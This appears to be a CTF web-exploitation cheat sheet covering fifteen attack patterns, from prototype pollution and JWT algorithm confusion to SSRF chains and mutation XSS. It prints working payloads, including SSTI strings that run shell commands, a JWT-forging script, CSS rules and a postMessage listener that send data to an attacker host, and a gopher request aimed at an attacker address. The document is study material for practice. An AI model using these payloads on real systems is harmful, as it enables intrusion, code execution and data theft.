CTF web — modern tricks
TL;DR: Modern CTF web challenges chain protocol-level abuses: prototype pollution → RCE through libraries, server-side request smuggling chained with cache poisoning, JWT alg confusion + key extraction, hash-flooding DoS as oracle, novel SSTI in less-common engines (Nunjucks, Pug, Liquid), CSS injection for keystroke timing, WASM-side bugs in browser challenges. Companion to client-side-template-injection and http-smuggling-modern-variants.
Pattern 1 — prototype pollution → RCE
Express-style apps where attacker pollutes Object.prototype.<key> cause unrelated code paths to behave differently.
1
2
POST /api/profile
{"__proto__": {"isAdmin": true}}
Cascade:
- Some checks read
user.isAdminfromObject.prototype(the polluted value). - libraries like
lodash.merge(≤ 4.17.20),merge.recursive, etc., are vulnerable. - Server-side template engines (Pug, Handlebars) read from prototype during render → RCE if you can pollute the right key.
Trick: even when the app uses safe libraries, look for legacy ones in dependency tree (npm ls).
See prototype-pollution, prototype-pollution-server-side.
Pattern 2 — SSTI in less-common engines
CTF authors avoid Jinja2 lately; expect:
- Nunjucks (Node.js):
{{ range.constructor("return process")().mainModule.require("child_process").execSync("id") }} - Pug:
#{global.process.mainModule.require("child_process").execSync("id")} - Liquid: harder to escape; usually limited to data exfil unless ruby-Liquid customised
- Mako (Python): similar to Jinja with
${...} - Velocity / FreeMarker (Java):
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Identify the engine by error messages, syntax fingerprint, or comment behaviour.
Pattern 3 — JWT alg confusion
Server expects RS256; attacker submits HS256 token signed with the RS256 public key as the HMAC key. Server’s verify(token, public_key) routine doesn’t enforce alg, so it computes HMAC-SHA256 with the public key as secret → matches.
1
2
3
import jwt
pub = open("rsa_public.pem","rb").read()
token = jwt.encode({"role":"admin"}, pub, algorithm="HS256")
Variants:
alg: none— no signature; some libraries accept.kidinjection —{"kid": "../../etc/passwd"}makes the server load file content as key.jku/jwkinjection — the token says where its key is hosted; attacker hosts an attacker-signed key.
Pattern 4 — XS-Leaks (cross-site leaks)
A CTF “leak this admin secret from a different origin” challenge.
- Timing of fetch response indicates whether a query matched.
- Frame size, response status differences.
- CSP violation reports leak character-by-character.
Modern browsers have COOP/COEP/CORP to block many XS-Leaks; CTF challenges sometimes disable these.
See xs-leaks.
Pattern 5 — CSS exfiltration
A CTF where the challenge prevents JS but allows CSS injection. Attacker uses:
1
2
3
input[value^="a"] { background: url('http://attacker/?a'); }
input[value^="b"] { background: url('http://attacker/?b'); }
...
Browser fires the URL for the matched prefix → attacker enumerates character by character.
See css-injection-exfiltration.
Pattern 6 — race conditions on web actions
A “buy item” endpoint with insufficient locking. Send N requests in parallel via HTTP/2 single-packet attack (race-conditions).
Burp Turbo Intruder + the “last-byte sync” technique fires all requests within microseconds of each other.
Pattern 7 — server-side parameter pollution
1
?user_id=victim&user_id=attacker
Backend uses one; access check uses the other. Or:
- App accepts JSON body + query params; conflict resolution differs across routes.
- Multipart form-data with two fields named the same.
See server-side-parameter-pollution.
Pattern 8 — HTTP smuggling within CTF infrastructure
Many web-CTF challenges deploy nginx → backend; smuggling chains hit “internal admin page”. Practise http-request-smuggling and http-smuggling-modern-variants specifically.
Pattern 9 — WebSocket-specific tricks
- Cross-Site WebSocket Hijacking (CSWSH) — no Origin check on WebSocket handshake.
- Frame masking + payload mismatch.
- Subprotocol negotiation downgrade.
See websocket-attacks, websocket-state-sync-bugs.
Pattern 10 — hash-flooding / parser DoS as oracle
Some CTFs use DoS as an oracle:
- Send N rows that all hash to the same bucket → response time spikes when the hash matches a server-side state.
- Timing reveals one bit per request.
Most modern languages use SipHash for dict; older ones (PHP, Python ≤ 3.3) vulnerable.
Pattern 11 — modern SSRF chains
CTF SSRF often chains:
- SSRF accepts only HTTPS URLs.
- Attacker uses
gopher://to send arbitrary TCP. - Targets Redis (
gopher://attacker.local:6379/...) or memcached. - Sets a key the app reads → RCE via deserialisation of the cached value.
gopherus.py generates payloads.
Pattern 12 — DOM XSS via mXSS
Mutation XSS — injection that looks safe but the browser mutates the DOM into an executable form. <noscript><p title="</noscript><img src=x onerror=alert(1)>". Bypasses DOMPurify if used with WHOLE_DOCUMENT: true historically.
See dompurify-bypass-techniques.
Pattern 13 — postMessage misuse
A challenge frame postMessages data to its parent without origin check. Attacker iframes the challenge and listens for messages.
1
2
3
window.addEventListener("message", e => {
fetch("/exfil?d=" + encodeURIComponent(JSON.stringify(e.data)));
});
See postmessage-bugs.
Pattern 14 — server-sent events injection
App accepts user input that flows into SSE stream. Attacker injects an extra data: field that the client parses as a new event.
See server-sent-events-injection.
Pattern 15 — modern crypto-on-the-web
- ECDSA nonce reuse (signature equation reveals private key).
- AES-GCM nonce reuse (two ciphertexts under same key/nonce → keystream recovery + plaintext disclosure).
- ECB padding oracles still in legacy.
- JWT with weak signing key (
secret,password,admin— brute-force HS256).
Workflow for a hard CTF web challenge
- Read source carefully (if provided).
- Identify the framework / engine.
- Map endpoints + auth model.
- Look for the “obvious” bug first; often a misdirection.
- Try chaining two smaller bugs into the full chain.
- Watch network requests in dev tools for hints (CSP, cookies, headers).
- Keep notes; CTF logic loops if you’re not tracking what you tried.
Practice resources
- PortSwigger Web Security Academy — practitioner+ labs.
- HackTheBox web challenges.
- picoCTF, GoogleCTF, RealWorldCTF.
- DownUnderCTF, justCTF.
- CTFtime.org — calendar.